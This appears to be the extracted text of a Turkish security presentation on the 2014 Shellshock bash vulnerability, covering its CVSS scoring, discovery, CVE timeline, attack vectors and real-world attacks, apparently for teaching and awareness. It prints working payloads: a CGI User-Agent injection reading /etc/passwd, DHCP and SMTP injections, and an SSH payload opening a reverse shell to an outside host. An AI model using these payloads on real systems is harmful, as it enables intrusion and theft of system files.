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env t=‘() { :;}; whoami;’ bash -c date

• Uygulama Güvenliği Uzmanı 

• Zararlı Yazılım Analizi



Bash Nedir?

• Linux 

• BSD 

• OS X 

• Cygwin



İnteraktif ?

• /bin/sh 

• /bin/bash 

• /bin/dash 

• /bin/ash 

• /bin/zsh



Etkisi

• CVSS Severity (version 2.0): 

• CVSS v2 Base Score: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend) 

• Impact Subscore: 10.0 

• Exploitability Subscore: 10.0 

• CVSS Version 2 Metrics: 

• Access Vector: Network exploitable 

• Access Complexity: Low 

• Authentication: Not required to exploit 

• Impact Type: Allows unauthorized disclosure of  information; Allows 
unauthorized modification; Allows disruption of  service 



Zafiyet Olarak Keşfi

• Stephane CHAZELAS  
http://seclists.org/oss-sec/2014/q4/92 
onur@ubuntu:~$ env t='() { :;}; echo vulnerable' bash -c 'echo ignore' 
vulnerable 
ignore 

http://seclists.org/oss-sec/2014/q4/92


Zaman Çizelgesi

• Bash 1.03 by Brain Fox - 01.09.1989 

• CVE-2014-6271 - 24.09.2014 

• CVE-2014-7169 - 26.09.2014 

• CVE-2014-7186 - 01.10.2014 

• CVE-2014-7187 - 01.10.2014 

• CVE-2014-6277 - 02.10.2014 

• CVE-2014-6278 - 05.10.2014



Test Betikleri

• https://raw.githubusercontent.com/hannob/
bashcheck/master/bashcheck 

• https://github.com/wreiske/shellshocker/

https://raw.githubusercontent.com/hannob/bashcheck/master/bashcheck
https://github.com/wreiske/shellshocker/


Veri ve Kodun Ayrılığı

• Bellek Taşması 

• SQLi 

• XSS 

• Dosya İçe Aktarma 

• Fonksiyon İçe Aktarma



Atak Vektörleri

• CGI 

• DHCP 

• SSH 

• SMTP 

• SUID/GUID Bits



CGI

• wget -U "() { :;};echo;echo; /bin/cat /etc/passwd" 
http://172.16.63.164/cgi-bin/ss1.sh 

• () { :}  
echo  
echo  
/bin/cat /etc/passwd

http://172.16.63.164/cgi-bin/ss1.sh


DHCP

• interface=eth0  
dhcp-range=192.168.18.15,192.168.18.20,12h  
dhcp-option-force=110,() { :; }; echo ‘bummm!' 

• dnsmasq



SSH

• ssh git@gitlabserver.com ‘() { :;}; /bin/bash -i >& /
dev/tcp/1.1.1.1/8118 0 >&1’



SMTP

• 220 localhost.localdomain ESMTP Postfix  
ehlo me 
250-localhost.localdomain  
…. 
mail from:<test@bga.com.tr> 
rcpt to:<test@bga.com.tr> 
To: () { i;}; /bin/ -c ‘mail -s hello 
<info@bga.com.tr>’  
… 

• http://www.exploit-db.com/exploits/34896/

mailto:test@bga.com.tr
http://www.exploit-db.com/exploits/34896/


SUID/GUID

• ls -ls /Applications/VMware\ Fusion.app/
Contents/Library/vmware-vmx-stats  

50848 -rwsr-xr-x@ 1 root  wheel  26033264 Sep  5 01:38 /Applications/VMware 
Fusion.app/Contents/Library/vmware-vmx-stats



Windows?

• set t=nop^&ping -n 1 bga.com.tr 
echo %t%



Bilinen Ataklar

• Botnetler (MMD-0027-2014) 
 

• Worms (Kaspersky) 

• Yahoo (dip4.gq1.yahoo.com)

http://dip4.gq1.yahoo.com


Botnetler



Wormlar



Yahoo



BGA

• 180.186.121.254 - - [14/Oct/2014:21:51:58 +0300] "GET /cgi-bin/userreg.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:57 +0300] "GET /cgi-bin/webmail.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:57 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 404 478 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:57 +0300] "GET /cgi-bin/content.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:56 +0300] "GET /cgi-bin/viewcontent.cgi HTTP/1.1" 404 484 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:56 +0300] "GET /cgi-bin/details.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:54 +0300] "GET /cgi-bin/vidredirect.cgi HTTP/1.1" 404 484 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:53 +0300] "GET /cgi-bin/about.cgi HTTP/1.1" 404 478 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:53 +0300] "GET /cgi-bin/help.cgi HTTP/1.1" 404 477 "-" "() { :;}; echo `echo 
xbash:test`" 

• 180.186.121.254 - - [14/Oct/2014:21:51:52 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 404 478 "-" "() { :;}; echo `echo 



Kaynaklar

• http://www.dwheeler.com/essays/shellshock.html#timeline
• http://seclists.org/oss-sec/2014/q4/92
• http://www.businessinsider.com.au/romanian-hackers-allegedly-
used-the-shellshock-bug-to-hack-yahoos-servers-2014-10

• http://www.wired.com/2014/10/shellshockresearcher/
• http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-
has-only-just.html?m=1

http://www.dwheeler.com/essays/shellshock.html#timeline
http://seclists.org/oss-sec/2014/q4/92
http://www.businessinsider.com.au/romanian-hackers-allegedly-used-the-shellshock-bug-to-hack-yahoos-servers-2014-10
http://www.wired.com/2014/10/shellshockresearcher/
http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html?m=1

